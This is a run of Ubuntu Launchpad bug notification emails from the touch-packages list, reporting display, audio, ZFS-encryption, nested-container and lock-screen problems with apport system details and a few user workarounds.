[Touch-packages] [Bug 2041781] [NEW] error
Public bug reported: i can't create resolutions. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 6.2.0-35.35~22.04.1-generic 6.2.16 Uname: Linux 6.2.0-35-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.5 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Oct 30 00:55:42 2023 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu GraphicsCard: Intel Corporation 4th Generation Core Processor Family Integrated Graphics Controller [8086:041e] (rev 06) (prog-if 00 [VGA controller]) Subsystem: Gigabyte Technology Co., Ltd 4th Generation Core Processor Family Integrated Graphics Controller [1458:d000] InstallationDate: Installed on 2023-10-30 (0 days ago) InstallationMedia: Ubuntu 22.04.3 LTS "Jammy Jellyfish" - Release amd64 (20230807.2) MachineType: Gigabyte Technology Co., Ltd. H81M-DS2V ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-6.2.0-35-generic root=UUID=671e14ce-7eda-4e62-954c-b9759f9e70eb ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 01/20/2014 dmi.bios.release: 4.6 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F2 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: H81M-DS2V dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: Gigabyte Technology Co., Ltd. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF2:bd01/20/2014:br4.6:svnGigabyteTechnologyCo.,Ltd.:pnH81M-DS2V:pvrTobefilledbyO.E.M.:rvnGigabyteTechnologyCo.,Ltd.:rnH81M-DS2V:rvrx.x:cvnGigabyteTechnologyCo.,Ltd.:ct3:cvrToBeFilledByO.E.M.:skuTobefilledbyO.E.M.: dmi.product.family: To be filled by O.E.M. dmi.product.name: H81M-DS2V dmi.product.sku: To be filled by O.E.M. dmi.product.version: To be filled by O.E.M. dmi.sys.vendor: Gigabyte Technology Co., Ltd. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.113-2~ubuntu0.22.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 23.0.4-0ubuntu1~22.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:21.1.4-2ubuntu1.7~22.04.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20210115-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-2build1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug jammy ubuntu wayland-session -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/2041781 Title: error Status in xorg package in Ubuntu: New Bug description: i can't create resolutions. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 6.2.0-35.35~22.04.1-generic 6.2.16 Uname: Linux 6.2.0-35-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.5 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Oct 30 00:55:42 2023 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu GraphicsCard: Intel Corporation 4th Generation Core Processor Family Integrated Graphics Controller [8086:041e] (rev 06) (prog-if 00 [VGA controller]) Subsystem: Gigabyte Technology Co., Ltd 4th Generation Core Processor Family Integrated Graphics Controller [1458:d000] InstallationDate: Installed on 2023-10-30 (0 days ago) InstallationMedia: Ubuntu 22.04.3 LTS "Jammy Jellyfish" - Release amd64 (20230807.2) MachineType: Gigabyte Technology Co., Ltd. H81M-DS2V ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-6.2.0-35-generic root=UUID=671e14ce-7eda-4e62-954c-b9759f9e70eb ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 01/20/2014 dmi.bios.release: 4.6 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F2 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: H81M-DS2V dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: Gigabyte Technology Co., Ltd. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF2:bd01/20/2014:br4.6:svnGigabyteTechnologyCo.,Ltd.:pnH81M-DS2V:pvrTobefilledbyO.E.M.:rvnGigabyteTechnologyCo.,Ltd.:rnH81M-DS2V:rvrx.x:cvnGigabyteTechnologyCo.,Ltd.:ct3:cvrToBeFilledByO.E.M.:skuTobefilledbyO.E.M.:
[Touch-packages] [Bug 2037794] [NEW] [ZenBook UX482EA_UX482EA, Realtek ALC294, Speaker, Internal] No sound at all
Public bug reported: Not sound at all ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: alsa-base 1.0.25+dfsg-0ubuntu7 ProcVersionSignature: Ubuntu 6.2.0-26.26~22.04.1-generic 6.2.13 Uname: Linux 6.2.0-26-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.5 Architecture: amd64 CasperMD5CheckResult: fail CurrentDesktop: ubuntu:GNOME Date: Sat Sep 30 15:00:02 2023 InstallationDate: Installed on 2023-08-28 (33 days ago) InstallationMedia: Ubuntu 22.04.3 LTS "Jammy Jellyfish" - Release amd64 (20230807.2) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:sofhdadsp failed Symptom_Card: Tiger Lake-LP Smart Sound Technology Audio Controller - sof-hda-dsp Symptom_Jack: Speaker, Internal Symptom_Type: No sound at all Title: [ZenBook UX482EA_UX482EA, Realtek ALC294, Speaker, Internal] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/21/2021 dmi.bios.release: 5.19 dmi.bios.vendor: American Megatrends International, LLC. dmi.bios.version: UX482EA.311 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX482EA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInternational,LLC.:bvrUX482EA.311:bd10/21/2021:br5.19:svnASUSTeKCOMPUTERINC.:pnZenBookUX482EA_UX482EA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX482EA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX482EA_UX482EA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. ** Affects: alsa-driver (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug jammy wayland-session -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/2037794 Title: [ZenBook UX482EA_UX482EA, Realtek ALC294, Speaker, Internal] No sound at all Status in alsa-driver package in Ubuntu: New Bug description: Not sound at all ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: alsa-base 1.0.25+dfsg-0ubuntu7 ProcVersionSignature: Ubuntu 6.2.0-26.26~22.04.1-generic 6.2.13 Uname: Linux 6.2.0-26-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.5 Architecture: amd64 CasperMD5CheckResult: fail CurrentDesktop: ubuntu:GNOME Date: Sat Sep 30 15:00:02 2023 InstallationDate: Installed on 2023-08-28 (33 days ago) InstallationMedia: Ubuntu 22.04.3 LTS "Jammy Jellyfish" - Release amd64 (20230807.2) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:sofhdadsp failed Symptom_Card: Tiger Lake-LP Smart Sound Technology Audio Controller - sof-hda-dsp Symptom_Jack: Speaker, Internal Symptom_Type: No sound at all Title: [ZenBook UX482EA_UX482EA, Realtek ALC294, Speaker, Internal] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/21/2021 dmi.bios.release: 5.19 dmi.bios.vendor: American Megatrends International, LLC. dmi.bios.version: UX482EA.311 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX482EA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInternational,LLC.:bvrUX482EA.311:bd10/21/2021:br5.19:svnASUSTeKCOMPUTERINC.:pnZenBookUX482EA_UX482EA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX482EA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX482EA_UX482EA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/2037794/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1993318] Re: ZFS + Encryption installations of Ubuntu Desktop suffer various severe problems related to the package manager
After zfs mount -a ** Attachment added: "after zfs mount -a" https://bugs.launchpad.net/ubuntu/+source/zsys/+bug/1993318/+attachment/5624969/+files/after_zfs_mount_a.tar.gz -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1993318 Title: ZFS + Encryption installations of Ubuntu Desktop do not come up correctly on first boot, systemd unmounts many of the zfs volumes Status in snapd package in Ubuntu: Incomplete Status in systemd package in Ubuntu: New Status in ubiquity package in Ubuntu: Fix Released Status in zfs-linux package in Ubuntu: New Status in zsys package in Ubuntu: Invalid Bug description: This is *probably* the wrong package, but it's the best I can figure for this, so here goes. Hardware: Kubuntu Focus XE, 32 GB RAM, 1 TB SSD, 11th Gen Intel Core i5, UEFI, no secure boot. Testing done in GNOME Boxes, BIOS, 4 GB RAM, 50 GB disk space . OS is Ubuntu Desktop, Kinetic Final ISO. Steps to reproduce: 1. Boot the Ubuntu desktop ISO. 2. Select "Install Ubuntu" and proceed with the installation process. 3. When you get to the "Installation type" screen, select "Advanced Options", and enable ZFS + Encryption. 4. Proceed with the rest of the installation as normal. 5. Reboot into the newly installed system. 6. Log in. 7. Run "sudo apt update" in a terminal. Expected result: The package database should be updated normally. Actual result: You are presented with the following errors at the end of the apt output: Reading package lists... Error! E: flAbsPath on /var/lib/dpkg/status failed - realpath (2: No such file or directory) E: Could not open file - open (2: No such file or directory) E: Problem opening E: The package lists or status file could not be parsed or opened. Notes: Switching to a TTY will print a crash error message related to the same missing /var/lib/dpkg/status file. Running "sudo touch /var/lib/dpkg/status" will allow "sudo apt update" to function and fix the crashed process in the TTY. Once you log in, you'll notice that Firefox is missing (bug #1993279), and you will likely be presented with a ton of error messages and other scary junk. At least one of those error messages was related to update-manager in my experience, and another one was from "check-new- release-gtk". ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: zsys (not installed) ProcVersionSignature: Ubuntu 5.19.0-21.21-generic 5.19.7 Uname: Linux 5.19.0-21-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.23.1-0ubuntu3 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Tue Oct 18 09:55:27 2022 InstallationDate: Installed on 2022-10-18 (0 days ago) InstallationMedia: Ubuntu 22.10 "Kinetic Kudu" - Release amd64 (20221018) ProcEnviron: TERM=xterm-256color PATH=(custom, no username) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: zsys UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/snapd/+bug/1993318/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1993318] Re: ZFS + Encryption installations of Ubuntu Desktop suffer various severe problems related to the package manager
I have gathered a difference between zfs get all properties before and after mounting. I observe no difference other than mounted property from no to yes. ** Attachment added: "Before running zfs mount -a" https://bugs.launchpad.net/ubuntu/+source/zsys/+bug/1993318/+attachment/5624968/+files/before_zfs_mount_a.tar.gz -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1993318 Title: ZFS + Encryption installations of Ubuntu Desktop do not come up correctly on first boot, systemd unmounts many of the zfs volumes Status in snapd package in Ubuntu: Incomplete Status in systemd package in Ubuntu: New Status in ubiquity package in Ubuntu: Fix Released Status in zfs-linux package in Ubuntu: New Status in zsys package in Ubuntu: Invalid Bug description: This is *probably* the wrong package, but it's the best I can figure for this, so here goes. Hardware: Kubuntu Focus XE, 32 GB RAM, 1 TB SSD, 11th Gen Intel Core i5, UEFI, no secure boot. Testing done in GNOME Boxes, BIOS, 4 GB RAM, 50 GB disk space . OS is Ubuntu Desktop, Kinetic Final ISO. Steps to reproduce: 1. Boot the Ubuntu desktop ISO. 2. Select "Install Ubuntu" and proceed with the installation process. 3. When you get to the "Installation type" screen, select "Advanced Options", and enable ZFS + Encryption. 4. Proceed with the rest of the installation as normal. 5. Reboot into the newly installed system. 6. Log in. 7. Run "sudo apt update" in a terminal. Expected result: The package database should be updated normally. Actual result: You are presented with the following errors at the end of the apt output: Reading package lists... Error! E: flAbsPath on /var/lib/dpkg/status failed - realpath (2: No such file or directory) E: Could not open file - open (2: No such file or directory) E: Problem opening E: The package lists or status file could not be parsed or opened. Notes: Switching to a TTY will print a crash error message related to the same missing /var/lib/dpkg/status file. Running "sudo touch /var/lib/dpkg/status" will allow "sudo apt update" to function and fix the crashed process in the TTY. Once you log in, you'll notice that Firefox is missing (bug #1993279), and you will likely be presented with a ton of error messages and other scary junk. At least one of those error messages was related to update-manager in my experience, and another one was from "check-new- release-gtk". ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: zsys (not installed) ProcVersionSignature: Ubuntu 5.19.0-21.21-generic 5.19.7 Uname: Linux 5.19.0-21-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.23.1-0ubuntu3 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Tue Oct 18 09:55:27 2022 InstallationDate: Installed on 2022-10-18 (0 days ago) InstallationMedia: Ubuntu 22.10 "Kinetic Kudu" - Release amd64 (20221018) ProcEnviron: TERM=xterm-256color PATH=(custom, no username) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: zsys UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/snapd/+bug/1993318/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1905493] Re: Services (apparmor, snapd.seeded, ...?) fail to start in nested lxd container
Hi there, thanks of the update. Just in in case anyone else here is interested in a temporary workaround, this is what I did for my use case: - create a config file for dbus like the one mentioned in comment #2 - apt remove apparmor - reboot After that "runlevel", "systemctl is-system-running" and "cloud-init -status --wait" should work. Last but not least, I would like to mention this issue affects running autopkgtests in nested containers (autopkgtest uses "runlevel" to detect if the container is properly started), I had an interesting conversation about this here (thanks a lot ddstreet for the help!): https://irclogs.ubuntu.com/2022/06/13/%23ubuntu-devel.html#t15:05 ** Also affects: autopkgtest Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to dbus in Ubuntu. https://bugs.launchpad.net/bugs/1905493 Title: Services (apparmor, snapd.seeded, ...?) fail to start in nested lxd container Status in AppArmor: New Status in autopkgtest: New Status in cloud-init: Invalid Status in snapd: Confirmed Status in dbus package in Ubuntu: Confirmed Status in lxd package in Ubuntu: New Status in systemd package in Ubuntu: Invalid Bug description: When booting a nested lxd container inside another lxd container (just a normal container, not a VM) (i.e. just L2), using cloud-init -status --wait, the "." is just printed off infinitely and never returns. To manage notifications about this bug go to: https://bugs.launchpad.net/apparmor/+bug/1905493/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1969289] [NEW] Secondary display does not work
Public bug reported: Secondary display does not work ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.15.0-25.25-generic 5.15.30 Uname: Linux 5.15.0-25-generic x86_64 ApportVersion: 2.20.11-0ubuntu82 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sat Apr 16 20:29:43 2022 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu GraphicsCard: Intel Corporation Skylake GT2 [HD Graphics 520] [8086:1916] (rev 07) (prog-if 00 [VGA controller]) Subsystem: Dell Skylake GT2 [HD Graphics 520] [1028:06fd] InstallationDate: Installed on 2022-04-14 (2 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Daily amd64 (20220409) MachineType: Dell Inc. Inspiron 13-7359 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.15.0-25-generic root=UUID=3b34bc2c-2f64-49d2-9734-d6ff9a9d3b14 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 09/06/2016 dmi.bios.release: 1.12 dmi.bios.vendor: Dell Inc. dmi.bios.version: 01.12.00 dmi.board.name: 0X1DP8 dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 9 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr01.12.00:bd09/06/2016:br1.12:svnDellInc.:pnInspiron13-7359:pvr:rvnDellInc.:rn0X1DP8:rvrA00:cvnDellInc.:ct9:cvr:sku06FD: dmi.product.name: Inspiron 13-7359 dmi.product.sku: 06FD dmi.sys.vendor: Dell Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.110-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 22.0.1-1ubuntu2 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:21.1.3-2ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2build3 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20210115-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-2build1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug jammy ubuntu wayland-session -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1969289 Title: Secondary display does not work Status in xorg package in Ubuntu: New Bug description: Secondary display does not work ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.15.0-25.25-generic 5.15.30 Uname: Linux 5.15.0-25-generic x86_64 ApportVersion: 2.20.11-0ubuntu82 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sat Apr 16 20:29:43 2022 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu GraphicsCard: Intel Corporation Skylake GT2 [HD Graphics 520] [8086:1916] (rev 07) (prog-if 00 [VGA controller]) Subsystem: Dell Skylake GT2 [HD Graphics 520] [1028:06fd] InstallationDate: Installed on 2022-04-14 (2 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Daily amd64 (20220409) MachineType: Dell Inc. Inspiron 13-7359 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.15.0-25-generic root=UUID=3b34bc2c-2f64-49d2-9734-d6ff9a9d3b14 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 09/06/2016 dmi.bios.release: 1.12 dmi.bios.vendor: Dell Inc. dmi.bios.version: 01.12.00 dmi.board.name: 0X1DP8 dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 9 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr01.12.00:bd09/06/2016:br1.12:svnDellInc.:pnInspiron13-7359:pvr:rvnDellInc.:rn0X1DP8:rvrA00:cvnDellInc.:ct9:cvr:sku06FD: dmi.product.name: Inspiron 13-7359 dmi.product.sku: 06FD dmi.sys.vendor: Dell Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.110-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 22.0.1-1ubuntu2 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:21.1.3-2ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2build3 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20210115-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-2build1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1969289/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help :
[Touch-packages] [Bug 1939202] [NEW] Driver no aparece ni Intel ni nvidia
Public bug reported: Muy Buenas en información de software mas controladores, no aparece nada sin embargo nvidia x lo puse como por demanda es decir intel en segundo lugar y baje la resolución de pantalla a 1080x 748 ayuda donde estan los controladores? gracias ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: xorg 1:7.7+22ubuntu1 ProcVersionSignature: Ubuntu 5.11.0-25.27-generic 5.11.22 Uname: Linux 5.11.0-25-generic x86_64 ApportVersion: 2.20.11-0ubuntu65.1 Architecture: amd64 BootLog: Error: [Errno 13] Permiso denegado: '/var/log/boot.log' CasperMD5CheckResult: unknown CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sat Aug 7 17:13:30 2021 DistUpgraded: Fresh install DistroCodename: hirsute DistroVariant: ubuntu DkmsStatus: nvidia, 460.91.03, 5.11.0-25-generic, x86_64: installed GraphicsCard: Intel Corporation Haswell-ULT Integrated Graphics Controller [8086:0a16] (rev 09) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Haswell-ULT Integrated Graphics Controller [1043:228a] Subsystem: ASUSTeK Computer Inc. GeForce 820M [1043:228a] Lsusb: Bus 001 Device 002: ID 8087:8000 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 003 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 002 Device 002: ID 04f2:b40a Chicony Electronics Co., Ltd USB2.0 HD UVC WebCam Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: ASUSTeK COMPUTER INC. X550LD ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.11.0-25-generic root=UUID=34ca3807-bd85-48be-8355-4184cd90c75e ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/14/2014 dmi.bios.release: 4.6 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: X550LD.302 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: X550LD dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrX550LD.302:bd04/14/2014:br4.6:svnASUSTeKCOMPUTERINC.:pnX550LD:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnX550LD:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.family: X dmi.product.name: X550LD dmi.product.sku: ASUS-NotebookSKU dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.105-3~21.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 21.0.3-0ubuntu0.2 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.11-1ubuntu1.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug hirsute ubuntu wayland-session -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1939202 Title: Driver no aparece ni Intel ni nvidia Status in xorg package in Ubuntu: New Bug description: Muy Buenas en información de software mas controladores, no aparece nada sin embargo nvidia x lo puse como por demanda es decir intel en segundo lugar y baje la resolución de pantalla a 1080x 748 ayuda donde estan los controladores? gracias ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: xorg 1:7.7+22ubuntu1 ProcVersionSignature: Ubuntu 5.11.0-25.27-generic 5.11.22 Uname: Linux 5.11.0-25-generic x86_64 ApportVersion: 2.20.11-0ubuntu65.1 Architecture: amd64 BootLog: Error: [Errno 13] Permiso denegado: '/var/log/boot.log' CasperMD5CheckResult: unknown CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sat Aug 7 17:13:30 2021 DistUpgraded: Fresh install DistroCodename: hirsute DistroVariant: ubuntu DkmsStatus: nvidia, 460.91.03, 5.11.0-25-generic, x86_64: installed GraphicsCard: Intel Corporation Haswell-ULT Integrated Graphics Controller [8086:0a16] (rev 09) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Haswell-ULT Integrated Graphics Controller [1043:228a] Subsystem: ASUSTeK Computer Inc. GeForce 820M [1043:228a] Lsusb: Bus 001 Device 002: ID 8087:8000 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 003 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 002 Device 002: ID 04f2:b40a Chicony Electronics Co., Ltd USB2.0 HD UVC WebCam Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: ASUSTeK COMPUTER INC. X550LD ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.11.0-25-generic
[Touch-packages] [Bug 1715435] Re: Can't lock screen when using lightdm with gnome-shell
I managed to fix it in the following way: 1. Install dconf-editor (to edit the "registry keys") sudo apt install dconf-editor 2. Open dconf-editor as a normal app; search for: /org/gnome/desktop/lockdown/ 3. In my case, the disable-lock-screen was set turned on. I turned it off and everything now works fine! -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lightdm in Ubuntu. https://bugs.launchpad.net/bugs/1715435 Title: Can't lock screen when using lightdm with gnome-shell Status in gnome-shell package in Ubuntu: Won't Fix Status in lightdm package in Ubuntu: Confirmed Bug description: Trying to use Super+L or Ctrl+Alt+L, I cannot lock the screen. Additionally, if I wait a very long time the screen does not lock either. Switching from LightDM to GDM3 fixes the issue. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: gnome-shell 3.25.91-0ubuntu3 ProcVersionSignature: Ubuntu 4.12.0-12.13-generic 4.12.8 Uname: Linux 4.12.0-12-generic x86_64 ApportVersion: 2.20.7-0ubuntu1 Architecture: amd64 CurrentDesktop: GNOME Date: Wed Sep 6 09:17:35 2017 DisplayManager: lightdm InstallationDate: Installed on 2016-01-22 (592 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Alpha amd64 (20160117) SourcePackage: gnome-shell UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: 